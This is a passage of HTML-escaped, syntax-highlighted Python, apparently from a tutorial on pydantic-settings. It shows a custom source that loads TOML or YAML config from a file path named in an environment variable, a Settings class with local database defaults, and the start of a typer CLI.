&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_path_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;env_var&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;env_file_encoding&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_path_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_path_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Warning: The file &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; pointed to by the environment variable &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env_var&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; does not exist.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Reuse existing source logic based on file extension&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;suffix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;suffix&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;.toml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Internally create a TomlConfigSettingsSource instance to load the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TomlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toml_data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;suffix&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;.yaml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;.yml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Internally create a YamlConfigSettingsSource instance to load the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;YamlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;yaml_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;yaml_file_encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;yaml_data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Warning: Unsupported file type &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;. Ignored.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Call InitSettingsSource&amp;#39;s __init__, passing the data loaded from the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__repr__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;(env_var=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env_var&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, file_path=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_path_str&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DatabaseConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;postgres_user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;veno&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;postgres_password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;12345678&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;postgres_host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;postgres_port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5432&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;postgres_db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;veno_db&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Settings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseSettings&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;model_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SettingsConfigDict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;toml_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;myapp.toml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;yaml_file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;myapp.yaml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;myapp.yml&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;yaml_file_encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;env_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;MYAPP_&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;env_nested_delimiter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;__&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;formal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DatabaseConfig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DatabaseConfig&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;settings_customise_sources&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BaseSettings&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;init_settings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;env_settings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;dotenv_settings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_secret_settings&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Define the priority of different configuration sources.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; See: https://docs.pydantic.dev/latest/concepts/pydantic_settings/#customise-settings-sources
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;init_settings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Custom Source&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;EnvVarFileConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# env_settings,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;dotenv_settings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# See: https://docs.pydantic.dev/latest/concepts/pydantic_settings/#other-settings-source&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TomlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;YamlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_secret_settings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Settings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# main.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;typer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;playground.config&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;config_module&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cli_app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;typer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Typer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;env_config_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;MYAPP_CONFIG_FILE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nd"&gt;@cli_app.command&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Annotated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;typer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Option&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Veno&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
